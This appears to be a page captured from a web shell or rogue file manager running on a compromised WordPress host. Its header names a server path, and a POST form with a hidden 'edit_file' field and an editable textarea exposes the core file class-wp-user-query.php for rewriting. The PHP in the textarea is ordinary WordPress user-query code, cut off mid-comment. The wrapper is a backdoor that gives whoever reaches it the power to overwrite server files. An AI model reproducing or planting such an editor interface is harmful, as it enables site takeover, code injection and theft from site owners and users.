<h2>File Contents: /home/planet5/public_html/wp-includes/class-wp-user-query.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/public_html/wp-includes/class-wp-user-query.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * User API: WP_User_Query class
 *
 * @package WordPress
 * @subpackage Users
 * @since 4.4.0
 */

/**
 * Core class used for querying users.
 *
 * @since 3.1.0
 *
 * @see WP_User_Query::prepare_query() for information on accepted arguments.
 */
#[AllowDynamicProperties]
class WP_User_Query {

	/**
	 * Query vars, after parsing
	 *
	 * @since 3.5.0
	 * @var array
	 */
	public $query_vars = array();

	/**
	 * List of found user IDs.
	 *
	 * @since 3.1.0
	 * @var array
	 */
	private $results;

	/**
	 * Total number of found users for the current query
	 *
	 * @since 3.1.0
	 * @var int
	 */
	private $total_users = 0;

	/**
	 * Metadata query container.
	 *
	 * @since 4.2.0
	 * @var WP_Meta_Query
	 */
	public $meta_query = false;

	/**
	 * The SQL query used to fetch matching users.
	 *
	 * @since 4.4.0
	 * @var string
	 */
	public $request;

	private $compat_fields = array( &#039;results&#039;, &#039;total_users&#039; );

	// SQL clauses.
	public $query_fields;
	public $query_from;
	public $query_where;
	public $query_orderby;
	public $query_limit;

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @param null|string|array $query Optional. The query variables.
	 *                                 See WP_User_Query::prepare_query() for information on accepted arguments.
	 */
	public function __construct( $query = null ) {
		if ( ! empty( $query ) ) {
			$this-&gt;prepare_query( $query );
			$this-&gt;query();
		}
	}

	/**
	 * Fills in missing query variables with default values.
	 *
	 * @since 4.4.0
	 *
	 * @param string|array $args Query vars, as passed to `WP_User_Query`.
	 * @return array Complete query variables with undefined ones filled in with defaults.
	 */
	public static function fill_query_vars( $args ) {
		$defaults = array(
			&#039;blog_id&#039;             =&gt; get_current_blog_id(),
			&#039;role&#039;                =&gt; &#039;&#039;,
			&#039;role__in&#039;            =&gt; array(),
			&#039;role__not_in&#039;        =&gt; array(),
			&#039;capability&#039;          =&gt; &#039;&#039;,
			&#039;capability__in&#039;      =&gt; array(),
			&#039;capability__not_in&#039;  =&gt; array(),
			&#039;meta_key&#039;            =&gt; &#039;&#039;,
			&#039;meta_value&#039;          =&gt; &#039;&#039;,
			&#039;meta_compare&#039;        =&gt; &#039;&#039;,
			&#039;include&#039;             =&gt; array(),
			&#039;exclude&#039;             =&gt; array(),
			&#039;search&#039;              =&gt; &#039;&#039;,
			&#039;search_columns&#039;      =&gt; array(),
			&#039;orderby&#039;             =&gt; &#039;login&#039;,
			&#039;order&#039;               =&gt; &#039;ASC&#039;,
			&#039;offset&#039;              =&gt; &#039;&#039;,
			&#039;number&#039;              =&gt; &#039;&#039;,
			&#039;paged&#039;               =&gt; 1,
			&#039;count_total&#039;         =&gt; true,
			&#039;fields&#039;              =&gt; &#039;all&#039;,
			&#039;who&#039;                 =&gt; &#039;&#039;,
			&#039;has_published_posts&#039; =&gt; null,
			&#039;nicename&#039;            =&gt; &#039;&#039;,
			&#039;nicename__in&#039;        =&gt; array(),
			&#039;nicename__not_in&#039;    =&gt; array(),
			&#039;login&#039;               =&gt; &#039;&#039;,
			&#039;login__in&#039;           =&gt; array(),
			&#039;login__not_in&#039;       =&gt; array(),
			&#039;cache_results&#039;       =&gt; true,
		);

		return wp_parse_args( $args, $defaults );
	}

	/**
	 * Prepares the query variables.
	 *
	 * @since 3.1.0
	 * @since 4.1.0 Added the ability to order by the `include` value.
	 * @since 4.2.0 Added &#039;meta_value_num&#039; support for `$orderby` parameter. Added multi-dimensional array syntax
	 *              for `$orderby` parameter.
	 * @since 4.3.0 Added &#039;has_published_posts&#039; parameter.
	 * @since 4.4.0 Added &#039;paged&#039;, &#039;role__in&#039;, and &#039;role__not_in&#039; parameters. The &#039;role&#039; parameter was updated to
	 *              permit an array or comma-separated list of values. The &#039;number&#039; parameter was updated to support
	 *              querying for all users with using -1.
	 * @since 4.7.0 Added &#039;nicename&#039;, &#039;nicename__in&#039;, &#039;nicename__not_in&#039;, &#039;login&#039;, &#039;login__in&#039;,
	 *              and &#039;login__not_in&#039; parameters.
	 * @since 5.1.0 Introduced the &#039;meta_compare_key&#039; parameter.
	 * @since 5.3.0 Introduced the &#039;meta_type_key&#039; parameter.
	 * @since 5.9.0 Added &#039;capability&#039;, &#039;capability__in&#039;, and &#039;capability__not_in&#039; parameters.
	 *              Deprecated the &#039;who&#039; parameter.
	 * @since 6.3.0 Added &#039;cache_results&#039; parameter.
	 *
	 * @global wpdb     $wpdb     WordPress database abstraction object.
	 * @global WP_Roles $wp_roles WordPress role management object.
	 *
	 * @param string|array $query {
	 *     Optional. Array or string of query parameters.
	 *
	 *     @type int             $blog_id             The site ID. Default is the current site.
	 *     @type string|string[] $role                An array or a comma-separated list of role names that users
	 *                                                must match to be included in results. Note that this is
	 *                                                an inclusive list: users must match *each* role. Default empty.
	 *     @type string[]        $role__in            An array of role names. Matched users must have at least one
	 *                                                of these roles. Default empty array.
	 *     @type string[]        $role__not_in        An array of role names to exclude. Users matching one or more
	 *                                                of these roles will not be included in results. Default empty array.
	 *     @type string|string[] $meta_key            Meta key or keys to filter by.
	 *     @type string|string[] $meta_value          Meta value or values to filter by.
	 *     @type string          $meta_compare        MySQL operator used for comparing the meta value.
	 *                                                See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type string          $meta_compare_key    MySQL operator used for comparing the meta key.
	 *                                                See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type string          $meta_type           MySQL data type that the meta_value column will be CAST to for comparisons.
	 *                                                See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type string          $meta_type_key       MySQL data type that the meta_key column will be CAST to for comparisons.
	 *                                                See WP_Meta_Query::__construct() for accepted values and default value.
	 *     @type array           $meta_query          An associative array of WP_Meta_Query arguments.
	 *                                                See WP_Meta_Query::__construct() for accepted values.
	 *     @type string|string[] $capability          An array or a comma-separated list of capability names that users
	 *                                                must match to be included in results. Note that this is
	 *                                                an inclusive list: users must match *each* capability.
	 *                                                Does NOT work for capabilities not in the database or filtered
	 *                                                via {@see &#039;map_meta_cap&#039;}. Default empty.
	 *     @type string[]        $capability__in      An array of capability names. Matched users must have at least one
	 *                                                of these capabilities.
	 *                                                Does NOT work for capabilities not in the database or filtered
	 *                                                via {@see &#039;map_meta_cap&#039;}. Default empty array.
	 *     @type string[]        $capability__not_in  An array of capability names to exclude. Users matching one or more
	 *                                                of these capabilities will not be included in results.
	 *                                                Does NOT work for capabilities not in the database or filtered
	 *                                                via {@see &#039;map_meta_cap&#039;}. Default empty array.
	 *     @type int[]           $include             An array of user IDs to include. Default empty array.
	 *     @type int[]           $exclude             An array of user IDs to exclude. Default empty array.
	 *     @type string          $search              Search keyword. Searches for possible string matches on columns.
	 *                                                When `$search_columns` is left empty, it tries to determine which
	 *                                                column to search in based on search string. Default empty.
	 *     @type string[]        $search_columns      Array of column names to be searched. Accepts &#039;ID&#039;, &#039;user_login&#039;,
	 *                                                &#039;user_email&#039;, &#039;user_url&#039;, &#039;user_nicename&#039;, &#039;display_name&#039;.
	 *                                                Default empty array.
	 *     @type string|array    $orderby             Field(s) to sort the retrieved users by. May be a single value,
	 *                                                an array of values, or a multi-dimensional array with fields as
	 *                                                keys and orders (&#039;ASC&#039; or &#039;DESC&#039;) as values. Accepted values are:
	 *                                                - &#039;ID&#039;
	 *                                                - &#039;display_name&#039; (or &#039;name&#039;)
	 *                                                - &#039;include&#039;
	 *                                                - &#039;user_login&#039; (or &#039;login&#039;)
	 *                                                - &#039;login__in&#039;
	 *                                                - &#039;user_nicename&#039; (or &#039;nicename&#039;)
	 *                                                - &#039;nicename__in&#039;
	 *                                                - &#039;user_email&#039; (or &#039;email&#039;)
	 *                                                - &#039;user_url&#039; (or &#039;url&#039;)
	 *                                                - &#039;user_registered&#039; (or &#039;registered&#039;)
	 *                                                - &#039;post_count&#039;
	 *                                                - &#039;meta_value&#039;
	 *                                                - &#039;meta_value_num&#039;
	 *                                                - The value of `$meta_key`
	 *                                                - An array key of `$meta_query`
	 *                                                To use &#039;meta_value&#039; or &#039;meta_value_num&#039;, `$meta_key`
	 *                                                must be also be defined. Default &#039;user_login&#039;.
	 *     @type string          $order               Designates ascending or descending order of users. Order values
	 *                                                passed as part of an `$orderby` array take precedence over this
	 *                                                parameter. Accepts &#039;ASC&#039;, &#039;DESC&#039;. Default &#039;ASC&#039;.
	 *     @type int             $offset              Number of users to offset in retrieved results. Can be used in
	 *                                                conjunction with pagination. Default 0.
	 *     @type int             $number              Number of users to limit the query for. Can be used in
	 *                                                conjunction with pagination. Value -1 (all) is supported, but
	 *                                                should be used with caution on larger sites.
	 *                                                Default -1 (all users).
	 *     @type int             $paged               When used with number, defines the page of results to return.
	 *                                                Default 1.
	 *     @type bool            $count_total         Whether to count the total number of users found. If pagination
	 *                                                is not needed, setting this to false can improve performance.
	 *                                                Default true.
	 *     @type string|string[] $fields              Which fields to return. Single or all fields (string), or array
	 *                                                of fields. Accepts:
	 *                                                - &#039;ID&#039;
	 *                                                - &#039;display_name&#039;
	 *                                                - &#039;user_login&#039;
	 *                                                - &#039;user_nicename&#039;
	 *                                                - &#039;user_email&#039;
	 *                                                - &#039;user_url&#039;
	 *                                                - &#039;user_registered&#039;
	 *                                                - &#039;user_pass&#039;
	 *                                                - &#039;user_activation_key&#039;
	 *                                                - &#039;user_status&#039;
	 *                                                - &#039;spam&#039; (only available on multisite installs)
	 *                                                - &#039;deleted&#039; (only available on multisite installs)
	 *                                                - &#039;all&#039; for all fields and loads user meta.
	 *                                                - &#039;all_with_meta&#039; Deprecated. Use &#039;all&#039;.
	 *                                                Default &#039;all&#039;.
	 *     @type string          $who                 Deprecated, use `$capability` instead.
	 *                                                Type of users to query. Accepts &#039;authors&#039;.
	 *                                                Default empty (all users).
	 *     @type bool|string[]   $has_published_posts Pass an array of post types to filter results to users who have
	 *                                                published posts in those post types. `true` is an alias for all
	 *                                                public post types.
	 *     @type string          $nicename            The user nicename. Default empty.
	 *     @type string[]        $nicename__in        An array of nicenames to include. Users matching one of these
	 *                                                nicenames will be included in results. Default empty array.
	 *     @type string[]        $nicename__not_in    An array of nicenames to exclude. Users matching one of these
	 *                                                nicenames will not be included in results. Default empty array.
	 *     @type string          $login               The user login. Default empty.
	 *     @type string[]        $login__in           An array of logins to include. Users matching one of these
	 *                                                logins will be included in results. Default empty array.
	 *     @type string[]        $login__not_in       An array of logins to exclude. Users matching one of these
	 *                                                logins will not be included in results. Default empty array.
	 *     @type bool            $cache_results       Whether to cache user information. Default true.
	 * }
	 */
	public function prepare_query( $query = array() ) {
		global $wpdb, $wp_roles;

		if ( empty( $this-&gt;query_vars ) || ! empty( $query ) ) {
			$this-&gt;query_limit = null;
			$this-&gt;query_vars  = $this-&gt;fill_query_vars( $query );
		}

		/**
		 * Fires before the WP_User_Query has been parsed.
		 *
		 * The passed WP_User_Query object contains the query variables,
		 * not yet passed into SQL.
		 *
		 * @since 4.0.0
		 *
		 * @param WP_User_Query $query Current instance of WP_User_Query (passed by reference).
		 */
		do_action_ref_array( &#039;pre_get_users&#039;, array( &amp;$this ) );

		// Ensure that query vars are filled after &#039;pre_get_users&#039;.
		$qv =&amp; $this-&gt;query_vars;
		$qv = $this-&gt;fill_query_vars( $qv );

		$allowed_fields = array(
			&#039;id&#039;,
			&#039;user_login&#039;,
			&#039;user_pass&#039;,
			&#039;user_nicename&#039;,
			&#039;user_email&#039;,
			&#039;user_url&#039;,
			&#039;user_registered&#039;,
			&#039;user_activation_key&#039;,
			&#039;user_status&#039;,
			&#039;display_name&#039;,
		);
		if ( is_multisite() ) {
			$allowed_fields[] = &#039;spam&#039;;
			$allowed_fields[] = &#039;deleted&#039;;
		}

		if ( is_array( $qv[&#039;fields&#039;] ) ) {
			$qv[&#039;fields&#039;] = array_map( &#039;strtolower&#039;, $qv[&#039;fields&#039;] );
			$qv[&#039;fields&#039;] = array_intersect( array_unique( $qv[&#039;fields&#039;] ), $allowed_fields );

			if ( empty( $qv[&#039;fields&#039;] ) ) {
				$qv[&#039;fields&#039;] = array( &#039;id&#039; );
			}

			$this-&gt;query_fields = array();
			foreach ( $qv[&#039;fields&#039;] as $field ) {
				$field                = &#039;id&#039; === $field ? &#039;ID&#039; : sanitize_key( $field );
				$this-&gt;query_fields[] = &quot;$wpdb-&gt;users.$field&quot;;
			}
			$this-&gt;query_fields = implode( &#039;,&#039;, $this-&gt;query_fields );
		} elseif ( &#039;all_with_meta&#039; === $qv[&#039;fields&#039;] || &#039;all&#039; === $qv[&#039;fields&#039;] || ! in_array( $qv[&#039;fields&#039;], $allowed_fields, true ) ) {
			$this-&gt;query_fields = &quot;$wpdb-&gt;users.ID&quot;;
		} else {
			$field              = &#039;id&#039; === strtolower( $qv[&#039;fields&#039;] ) ? &#039;ID&#039; : sanitize_key( $qv[&#039;fields&#039;] );
			$this-&gt;query_fields = &quot;$wpdb-&gt;users.$field&quot;;
		}

		if ( isset( $qv[&#039;count_total&#039;] ) &amp;&amp; $qv[&#039;count_total&#039;] ) {
			$this-&gt;query_fields = &#039;SQL_CALC_FOUND_ROWS &#039; . $this-&gt;query_fields;
		}

		$this-&gt;query_from  = &quot;FROM $wpdb-&gt;users&quot;;
		$this-&gt;query_where = &#039;WHERE 1=1&#039;;

		// Parse and sanitize &#039;include&#039;, for use by &#039;orderby&#039; as well as &#039;include&#039; below.
		if ( ! empty( $qv[&#039;include&#039;] ) ) {
			$include = wp_parse_id_list( $qv[&#039;include&#039;] );
		} else {
			$include = false;
		}

		$blog_id = 0;
		if ( isset( $qv[&#039;blog_id&#039;] ) ) {
			$blog_id = absint( $qv[&#039;blog_id&#039;] );
		}

		if ( $qv[&#039;has_published_posts&#039;] &amp;&amp; $blog_id ) {
			if ( true === $qv[&#039;has_published_posts&#039;] ) {
				$post_types = get_post_types( array( &#039;public&#039; =&gt; true ) );
			} else {
				$post_types = (array) $qv[&#039;has_published_posts&#039;];
			}

			foreach ( $post_types as &amp;$post_type ) {
				$post_type = $wpdb-&gt;prepare( &#039;%s&#039;, $post_type );
			}

			$posts_table        = $wpdb-&gt;get_blog_prefix( $blog_id ) . &#039;posts&#039;;
			$this-&gt;query_where .= &quot; AND $wpdb-&gt;users.ID IN ( SELECT DISTINCT $posts_table.post_author FROM $posts_table WHERE $posts_table.post_status = &#039;publish&#039; AND $posts_table.post_type IN ( &quot; . implode( &#039;, &#039;, $post_types ) . &#039; ) )&#039;;
		}

		// nicename
		if ( &#039;&#039; !== $qv[&#039;nicename&#039;] ) {
			$this-&gt;query_where .= $wpdb-&gt;prepare( &#039; AND user_nicename = %s&#039;, $qv[&#039;nicename&#039;] );
		}

		if ( ! empty( $qv[&#039;nicename__in&#039;] ) ) {
			$sanitized_nicename__in = array_map( &#039;esc_sql&#039;, $qv[&#039;nicename__in&#039;] );
			$nicename__in           = implode( &quot;&#039;,&#039;&quot;, $sanitized_nicename__in );
			$this-&gt;query_where     .= &quot; AND user_nicename IN ( &#039;$nicename__in&#039; )&quot;;
		}

		if ( ! empty( $qv[&#039;nicename__not_in&#039;] ) ) {
			$sanitized_nicename__not_in = array_map( &#039;esc_sql&#039;, $qv[&#039;nicename__not_in&#039;] );
			$nicename__not_in           = implode( &quot;&#039;,&#039;&quot;, $sanitized_nicename__not_in );
			$this-&gt;query_where         .= &quot; AND user_nicename NOT IN ( &#039;$nicename__not_in&#039; )&quot;;
		}

		// login
		if ( &#039;&#039; !== $qv[&#039;login&#039;] ) {
			$this-&gt;query_where .= $wpdb-&gt;prepare( &#039; AND user_login = %s&#039;, $qv[&#039;login&#039;] );
		}

		if ( ! empty( $qv[&#039;login__in&#039;] ) ) {
			$sanitized_login__in = array_map( &#039;esc_sql&#039;, $qv[&#039;login__in&#039;] );
			$login__in           = implode( &quot;&#039;,&#039;&quot;, $sanitized_login__in );
			$this-&gt;query_where  .= &quot; AND user_login IN ( &#039;$login__in&#039; )&quot;;
		}

		if ( ! empty( $qv[&#039;login__not_in&#039;] ) ) {
			$sanitized_login__not_in = array_map( &#039;esc_sql&#039;, $qv[&#039;login__not_in&#039;] );
			$login__not_in           = implode( &quot;&#039;,&#039;&quot;, $sanitized_login__not_in );
			$this-&gt;query_where      .= &quot; AND user_login NOT IN ( &#039;$login__not_in&#039; )&quot;;
		}

		// Meta query.
		$this-&gt;meta_query = new WP_Meta_Query();
		$this-&gt;meta_query-&gt;parse_query_vars( $qv );

		if ( isset( $qv[&#039;who&#039;] ) &amp;&amp; &#039;authors&#039; === $qv[&#039;who&#039;] &amp;&amp; $blog_id ) {
			_deprecated_argument(
				&#039;WP_User_Query&#039;,
				&#039;5.9.0&#039;,
				sprintf(
					/* translators: 1: who, 2: capability */
					__( &#039;%1$s is deprecated. Use %2$s instead.&#039; ),
					&#039;&lt;code&gt;who&lt;/code&gt;&#039;,
					&#039;&lt;code&gt;capability&lt;/code&gt;&#039;
				)
			);

			$who_query = array(
				&#039;key&#039;     =&gt; $wpdb-&gt;get_blog_prefix( $blog_id ) . &#039;user_level&#039;,
				&#039;value&#039;   =&gt; 0,
				&#039;compare&#039; =&gt; &#039;!=&#039;,
			);

			// Prevent extra meta query.
			$qv[&#039;blog_id&#039;] = 0;
			$blog_id       = 0;

			if ( empty( $this-&gt;meta_query-&gt;queries ) ) {
				$this-&gt;meta_query-&gt;queries = array( $who_query );
			} else {
				// Append the cap query to the original queries and reparse the query.
				$this-&gt;meta_query-&gt;queries = array(
					&#039;relation&#039; =&gt; &#039;AND&#039;,
					array( $this-&gt;meta_query-&gt;queries, $who_query ),
				);
			}

			$this-&gt;meta_query-&gt;parse_query_vars( $this-&gt;meta_query-&gt;queries );
		}

		// Roles.
		$roles = array();
		if ( isset( $qv[&#039;role&#039;] ) ) {
			if ( is_array( $qv[&#039;role&#039;] ) ) {
				$roles = $qv[&#039;role&#039;];
			} elseif ( is_string( $qv[&#039;role&#039;] ) &amp;&amp; ! empty( $qv[&#039;role&#039;] ) ) {
				$roles = array_map( &#039;trim&#039;, explode( &#039;,&#039;, $qv[&#039;role&#039;] ) );
			}
		}

		$role__in = array();
		if ( isset( $qv[&#039;role__in&#039;] ) ) {
			$role__in = (array) $qv[&#039;role__in&#039;];
		}

		$role__not_in = array();
		if ( isset( $qv[&#039;role__not_in&#039;] ) ) {
			$role__not_in = (array) $qv[&#039;role__not_in&#039;];
		}

		// Capabilities.
		$available_roles = array();

		if ( ! empty( $qv[&#039;capability&#039;] ) || ! empty( $qv[&#039;capability__in&#039;] ) || ! empty( $qv[&#039;capability__not_in&#039;] ) ) {
			$wp_roles-&gt;for_site( $blog_id );
			$available_roles = $wp_roles-&gt;roles;
		}

		$capabilities = array();
		if ( ! empty( $qv[&#039;capability&#039;] ) ) {
			if ( is_array( $qv[&#039;capability&#039;] ) ) {
				$capabilities = $qv[&#039;capability&#039;];
			} elseif ( is_string( $qv[&#039;capability&#039;] ) ) {
				$capabilities = array_map( &#039;trim&#039;, explode( &#039;,&#039;, $qv[&#039;capability&#039;] ) );
			}
		}

		$capability__in = array();
		if ( ! empty( $qv[&#039;capability__in&#039;] ) ) {
			$capability__in = (array) $qv[&#039;capability__in&#039;];
		}

		$capability__not_in = array();
		if ( ! empty( $qv[&#039;capability__not_in&#039;] ) ) {
			$capability__not_in = (array) $qv[&#039;capability__not_in&#039;];
		}

		// Keep track of all capabilities and the roles they&#039;re added on.
		$caps_with_roles = array();

		foreach ( $available_roles as $role =&gt; $role_data ) {
			$role_caps = array_keys( array_filter( $role_data[&#039;capabilities&#039;] ) );

			foreach ( $capabilities as $cap ) {
				if ( in_array( $cap, $role_caps, true ) ) {
					$caps_with_roles[ $cap ][] = $role;
					break;
				}
			}

			foreach ( $capability__in as $cap ) {
				if ( in_array( $cap, $role_caps, true ) ) {
					$role__in[] = $role;
					break;
				}
			}

			foreach ( $capability__not_in as $cap ) {
				if ( in_array( $cap, $role_caps, true ) ) {
					$role__not_in[] = $role;
					break;
				}
			}
		}

		$role__in     = array_merge( $role__in, $capability__in );
		$role__not_in = array_merge( $role__not_in, $capability__not_in );

		$roles        = array_unique( $roles );
		$role__in     = array_unique( $role__in );
		$role__not_in = array_unique( $role__not_in );

		// Support querying by capabilities added directly to users.
		if ( $blog_id &amp;&amp; ! empty( $capabilities ) ) {
			$capabilities_clauses = array( &#039;relation&#039; =&gt; &#039;AND&#039; );

			foreach ( $capabilities as $cap ) {
				$clause = array( &#039;relation&#039; =&gt; &#039;OR&#039; );

				$clause[] = array(
					&#039;key&#039;     =&gt; $wpdb-&gt;get_blog_prefix( $blog_id ) . &#039;capabilities&#039;,
					&#039;value&#039;   =&gt; &#039;&quot;&#039; . $cap . &#039;&quot;&#039;,
					&#039;compare&#039; =&gt; &#039;LIKE&#039;,
				);

				if ( ! empty( $caps_with_roles[ $cap ] ) ) {
					foreach ( $caps_with_roles[ $cap ] as $role ) {
						$clause[] = array(
							&#039;key&#039;     =&gt; $wpdb-&gt;get_blog_prefix( $blog_id ) . &#039;capabilities&#039;,
							&#039;value&#039;   =&gt; &#039;&quot;&#039; . $role . &#039;&quot;&#039;,
							&#039;compare&#039; =&gt; &#039;LIKE&#039;,
						);
					}
				}

				$capabilities_clauses[] = $clause;
			}

			$role_queries[] = $capabilities_clauses;

			if ( empty( $this-&gt;meta_query-&gt;queries ) ) {
				$this-&gt;meta_query-&gt;queries[] = $capabilities_clauses;
			} else {
				// Append the cap query to the original queries and reparse the query.
				$this-&gt;meta_query-&gt;queries = array(
					&#039;relation&#039; =&gt; &#039;AND&#039;,
					array( $this-&gt;meta_query-&gt;queries, array( $capabilities_clauses ) ),
				);
			}

			$this-&gt;meta_query-&gt;parse_query_vars( $this-&gt;meta_query-&gt;queries );
		}

		if ( $blog_id &amp;&amp; ( ! empty( $roles ) || ! empty( $role__in ) || ! empty( $role__not_in ) || is_multisite() ) ) {
			$role_queries = array();

			$roles_clauses = array( &#039;relation&#039; =&gt; &#039;AND&#039; );
			if ( ! empty( $roles ) ) {
				foreach ( $roles as $role ) {
					$roles_clauses[] = array(
						&#039;key&#039;     =&gt; $wpdb-&gt;get_blog_prefix( $blog_id ) . &#039;capabilities&#039;,
						&#039;value&#039;   =&gt; &#039;&quot;&#039; . $role . &#039;&quot;&#039;,
						&#039;compare&#039; =&gt; &#039;LIKE&#039;,
					);
				}

				$role_queries[] = $roles_clauses;
			}

			$role__in_clauses = array( &#039;relation&#039; =&gt; &#039;OR&#039; );
			if ( ! empty( $role__in ) ) {
				foreach ( $role__in as $role ) {
					$role__in_clauses[] = array(
						&#039;key&#039;     =&gt; $wpdb-&gt;get_blog_prefix( $blog_id ) . &#039;capabilities&#039;,
						&#039;value&#039;   =&gt; &#039;&quot;&#039; . $role . &#039;&quot;&#039;,
						&#039;compare&#039; =&gt; &#039;LIKE&#039;,
					);
				}

				$role_queries[] = $role__in_clauses;
			}

			$role__not_in_clauses = array( &#039;relation&#039; =&gt; &#039;AND&#039; );
			if ( ! empty( $role__not_in ) ) {
				foreach ( $role__not_in as $role ) {
					$role__not_in_clauses[] = array(
						&#039;key&#039;     =&gt; $wpdb-&gt;get_blog_prefix( $blog_id ) . &#039;capabilities&#039;,
						&#039;value&#039;   =&gt; &#039;&quot;&#039; . $role . &#039;&quot;&#039;,
						&#039;compare&#039; =&gt; &#039;NOT LIKE&#039;,
					);
				}

				$role_queries[] = $role__not_in_clauses;
			}

			// If there are no specific roles named, make sure the user is a member of the site.
			if ( empty( $role_queries ) ) {
				$role_queries[] = array(
					&#039;key&#039;     =&gt; $wpdb-&gt;get_blog_prefix( $blog_id ) . &#039;capabilities&#039;,
					&#039;compare&#039; =&gt; &#039;EXISTS&#039;,
				);
			}

			// Specify that role queries should be joined with AND.
			$role_queries[&#039;relation&#039;] = &#039;AND&#039;;

			if ( empty( $this-&gt;meta_query-&gt;queries ) ) {
				$this-&gt;meta_query-&gt;queries = $role_queries;
			} else {
				// Append the cap query to the original queries and reparse the query.
				$this-&gt;meta_query-&gt;queries = array(
					&#039;relation&#039; =&gt; &#039;AND&#039;,
					array( $this-&gt;meta_query-&gt;queries, $role_queries ),
				);
			}

			$this-&gt;meta_query-&gt;parse_query_vars( $this-&gt;meta_query-&gt;queries );
		}

		if ( ! empty( $this-&gt;meta_query-&gt;queries ) ) {
			$clauses            = $this-&gt;meta_query-&gt;get_sql( &#039;user&#039;, $wpdb-&gt;users, &#039;ID&#039;, $this );
			$this-&gt;query_from  .= $clauses[&#039;join&#039;];
			$this-&gt;query_where .= $clauses[&#039;where&#039;];

			if ( $this-&gt;meta_query-&gt;has_or_relation() ) {
				$this-&gt;query_fields = &#039;DISTINCT &#039; . $this-&gt;query_fields;
			}
		}

		// Sorting.
		$qv[&#039;order&#039;] = isset( $qv[&#039;order&#039;] ) ? strtoupper( $qv[&#039;order&#039;] ) : &#039;&#039;;
		$order       = $this-&gt;parse_order( $qv[&#039;order&#039;] );

		if ( empty( $qv[&#039;orderby&#039;] ) ) {
			// Default order is by &#039;user_login&#039;.
			$ordersby = array( &#039;user_login&#039; =&gt; $order );
		} elseif ( is_array( $qv[&#039;orderby&#039;] ) ) {
			$ordersby = $qv[&#039;orderby&#039;];
		} else {
			// &#039;orderby&#039; values may be a comma- or space-separated list.
			$ordersby = preg_split( &#039;/[,\s]+/&#039;, $qv[&#039;orderby&#039;] );
		}

		$orderby_array = array();
		foreach ( $ordersby as $_key =&gt; $_value ) {
			if ( ! $_value ) {
				continue;
			}

			if ( is_int( $_key ) ) {
				// Integer key means this is a flat array of &#039;orderby&#039; fields.
				$_orderby = $_value;
				$_order   = $order;
			} else {
				// Non-integer key means this the key is the field and the value is ASC/DESC.
				$_orderby = $_key;
				$_order   = $_value;
			}

			$parsed = $this-&gt;parse_orderby( $_orderby );

			if ( ! $parsed ) {
				continue;
			}

			if ( &#039;nicename__in&#039; === $_orderby || &#039;login__in&#039; === $_orderby ) {
				$orderby_array[] = $parsed;
			} else {
				$orderby_array[] = $parsed . &#039; &#039; . $this-&gt;parse_order( $_order );
			}
		}

		// If no valid clauses were found, order by user_login.
		if ( empty( $orderby_array ) ) {
			$orderby_array[] = &quot;user_login $order&quot;;
		}

		$this-&gt;query_orderby = &#039;ORDER BY &#039; . implode( &#039;, &#039;, $orderby_array );

		// Limit.
		if ( isset( $qv[&#039;number&#039;] ) &amp;&amp; $qv[&#039;number&#039;] &gt; 0 ) {
			if ( $qv[&#039;offset&#039;] ) {
				$this-&gt;query_limit = $wpdb-&gt;prepare( &#039;LIMIT %d, %d&#039;, $qv[&#039;offset&#039;], $qv[&#039;number&#039;] );
			} else {
				$this-&gt;query_limit = $wpdb-&gt;prepare( &#039;LIMIT %d, %d&#039;, $qv[&#039;number&#039;] * ( $qv[&#039;paged&#039;] - 1 ), $qv[&#039;number&#039;] );
			}
		}

		$search = &#039;&#039;;
		if ( isset( $qv[&#039;search&#039;] ) ) {
			$search = trim( $qv[&#039;search&#039;] );
		}

		if ( $search ) {
			$leading_wild  = ( ltrim( $search, &#039;*&#039; ) !== $search );
			$trailing_wild = ( rtrim( $search, &#039;*&#039; ) !== $search );
			if ( $leading_wild &amp;&amp; $trailing_wild ) {
				$wild = &#039;both&#039;;
			} elseif ( $leading_wild ) {
				$wild = &#039;leading&#039;;
			} elseif ( $trailing_wild ) {
				$wild = &#039;trailing&#039;;
			} else {
				$wild = false;
			}
			if ( $wild ) {
				$search = trim( $search, &#039;*&#039; );
			}

			$search_columns = array();
			if ( $qv[&#039;search_columns&#039;] ) {
				$search_columns = array_intersect( $qv[&#039;search_columns&#039;], array( &#039;ID&#039;, &#039;user_login&#039;, &#039;user_email&#039;, &#039;user_url&#039;, &#039;user_nicename&#039;, &#039;display_name&#039; ) );
			}
			if ( ! $search_columns ) {
				if ( str_contains( $search, &#039;@&#039; ) ) {
					$search_columns = array( &#039;user_email&#039; );
				} elseif ( is_numeric( $search ) ) {
					$search_columns = array( &#039;user_login&#039;, &#039;ID&#039; );
				} elseif ( preg_match( &#039;|^https?://|&#039;, $search ) &amp;&amp; ! ( is_multisite() &amp;&amp; wp_is_large_network( &#039;users&#039; ) ) ) {
					$search_columns = array( &#039;user_url&#039; );
				} else {
					$search_columns = array( &#039;user_login&#039;, &#039;user_url&#039;, &#039;user_email&#039;, &#039;user_nicename&#039;, &#039;display_name&#039; );
				}
			}

			/**
			 * Filters the columns to search in a WP_User_Query search.
			 *
			 * The default columns depend on the search term, and include &#039;ID&#039;, &#039;user_login&#039;,
			 * &#039;user_email&#039;, &#039;user_url&#039;, &#039;user_nicename&#039;, and &#039;display_name&#039;.
			 *
			 * @since 3.6.0
			 *
			 * @param string[]      $search_columns Array of column names to be searched.
			 * @param string        $search         Text being searched.
			 * @param WP_User_Query $query          The current WP_User_Query instance.
			 */
			$search_columns = apply_filters( &#039;user_search_columns&#039;, $search_columns, $search, $this );

			$this-&gt;query_where .= $this-&gt;get_search_sql( $search, $search_columns, $wild );
		}

		if ( ! empty( $include ) ) {
			// Sanitized earlier.
			$ids                = implode( &#039;,&#039;, $include );
			$this-&gt;query_where .= &quot; AND $wpdb-&gt;users.ID IN ($ids)&quot;;
		} elseif ( ! empty( $qv[&#039;exclude&#039;] ) ) {
			$ids                = implode( &#039;,&#039;, wp_parse_id_list( $qv[&#039;exclude&#039;] ) );
			$this-&gt;query_where .= &quot; AND $wpdb-&gt;users.ID NOT IN ($ids)&quot;;
		}

		// Date queries are allowed for the user_registered field.
		if ( ! empty( $qv[&#039;date_query&#039;] ) &amp;&amp; is_array( $qv[&#039;date_query&#039;] ) ) {
			$date_query         = new WP_Date_Query( $qv[&#039;date_query&#039;], &#039;user_registered&#039; );
			$this-&gt;query_where .= $date_query-&gt;get_sql();
		}

		/**
